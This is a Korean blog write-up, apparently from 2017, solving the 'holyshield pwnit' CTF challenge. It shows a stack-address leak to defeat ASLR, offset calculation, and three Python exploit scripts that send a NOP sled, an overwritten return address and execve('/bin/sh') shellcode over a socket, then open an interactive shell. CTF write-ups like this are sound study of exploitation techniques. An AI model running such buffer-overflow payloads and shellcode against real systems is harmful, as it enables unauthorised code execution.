ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • holyshield pwnit
    CTF&Wargame/ETC 2017.01.10 03:52


    우선 v3에 입력을 받고 v5를 넘겨준다.


    힌트 함수에서 메모리 릭을 통해 스택 주소를 구할 수 있고


    exploit 함수를 통해 ret을 덮어 쓸 수 있다


    페이로드는 [NOP*48][Stack_Address][NOP][ShellCode]


    스택 주소를 구해보자

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    from struct import *
    from socket import *
    import hexdump
    import time
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"3720))
     
    shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
     
    payload = "A"*48
     
    time.sleep(0.3)
    print s.recv(1024)
     
    s.send("1\n")
    print s.recv(1024)
     
    s.send("999\n")
    data = s.recv(1024)
    hexdump.hexdump(data)
     
     
    s.send("2\n")
    time.sleep(0.3)
    print s.recv(1024)
     
    s.send(payload + "\n")
     
    raw_input(">")
    print s.recv(1024)
     
    s.send("3\n")
    print s.recv(1024)
     
    cs

    이런 소스를 스택 주소를 구할 때 사용하였는데 소스를 실행하고 기다린다음


    gdb로 잡고 leave에 브레이크 걸고


    브레이크까지 실행시킨다


    이렇게 들어간 값들이 보이는데 위에가 스택 주소다 하지만 ASLR이 걸려서 스택주소를 바로 구할 수 가 없다

    그래서 힌트 함수를 사용하는데 


    방금 사용한 소스에 출력화면이다. 12:16사이의 주소값이 거의 고정값처럼 스택에서 저만큼 떨어져있다.

    많이 실행해보면 알 수 있다. 0xbff0155c-0xbff0148c를 해주면 스택 주소를 구할 수 있다.


    오프셋은 D0인데

    음 정리하자면 힌트함수에서 릭을 하면 12:16에 나오는 주소에서 D0을 빼면 스택 주소가 된다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    from struct import *
    from socket import *
    import hexdump
    import time
     
    = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"3720))
     
    shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
     
    time.sleep(0.3)
    print s.recv(1024)
     
    s.send("1\n")
    print s.recv(1024)
     
    s.send("999\n")
    time.sleep(0.3)
    data = s.recv(1024)
    stack = up(data[12:16])-0xD0
    hexdump.hexdump(data)
     
     
    s.send("2\n")
    time.sleep(0.3)
    print s.recv(1024)
     
    payload = "\x90"*48 + p(stack)+"\x90"*8+shell
    print stack
    s.send(payload + "\n")
     
    raw_input(">")
    print s.recv(1024)
     
    s.send("3\n")
    print s.recv(1024)
     
    cs

    해당 소스를 통해 실험해보자


    이렇게 보면 저 중간에 스택 주소가 잘 구해졌다. 그 뒤에 쉘코드가 있는데 오프셋을 좀 더 정확히 구해서 쉘코드 부분을 맞춰주면 된다.


    [12:16]주소에서 저 쉘코드 주소를 빼면 

    그럼 0x94가 된다.


    NOP를 48개 넣어주고 ret주소에 stack 주소를 집어 넣고 뒤에 쉘코드를 넣는다

    근데 stack주소는 힌트함수를 통해 얻을 수 있고 [12:16]의 주소를 참고하여 -0x94를 해주면 쉘코들르 가르킬 수 있게된다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    from socket import *
    from struct import *
    from time import sleep
    import hexdump
     
    = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
     
    socket = socket(AF_INET, SOCK_STREAM)
    socket.connect(("192.168.153.139"3720))
     
    shell =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
     
    sleep(0.3)
    print socket.recv(1024)
    socket.send("1"+"\n")
    print socket.recv(1024)
    socket.send("999"+"\n")
    sleep(0.3)
     
    data = socket.recv(1024)
    stack = up(data[12:16])-0x94
     
    socket.send("2"+"\n")
    print socket.recv(1024)
     
    payload = "\x90"*48 + p(stack)+"\x90"*8+shell
    socket.send(payload+"\n")
    sleep(0.3)
    = socket.recv(1024)
    socket.send("3"+"\n")
    sleep(0.3)
    print socket.recv(1024)
     
    while 1:
        command = raw_input("tory> ")
        send = socket.send(command+"\n")
        print socket.recv(1024)
     
    socket.close()
    cs



    끝!!!

    'CTF&Wargame > ETC' 카테고리의 다른 글

    Warm-Heap  (0) 2017.01.15
    codegate 2014 nuclear  (0) 2017.01.13
    holyshield pwnit  (0) 2017.01.10
    codegate 2013 vuln200  (0) 2017.01.08
    Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
    Pico ctf 2014 rop1  (0) 2017.01.05

    댓글 0

Designed by Tistory.